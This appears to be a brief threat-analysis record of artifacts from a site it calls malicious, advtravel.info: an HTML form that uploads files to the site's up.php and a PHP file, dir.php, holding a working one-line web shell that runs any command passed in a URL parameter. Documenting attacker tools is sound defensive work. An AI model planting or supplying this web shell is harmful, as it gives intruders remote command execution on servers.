advtravel.info

HTML File Used to upload PHP files to the malicious website, advtravel.info
<html>
<body>

<form action="http://advtravel.info/tools/up.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="Submit">
</form>

</body>
</html>

PHP file uploaded to advtravel.info as dir.php
<?php
echo shell_exec($_GET['cmd']);
?>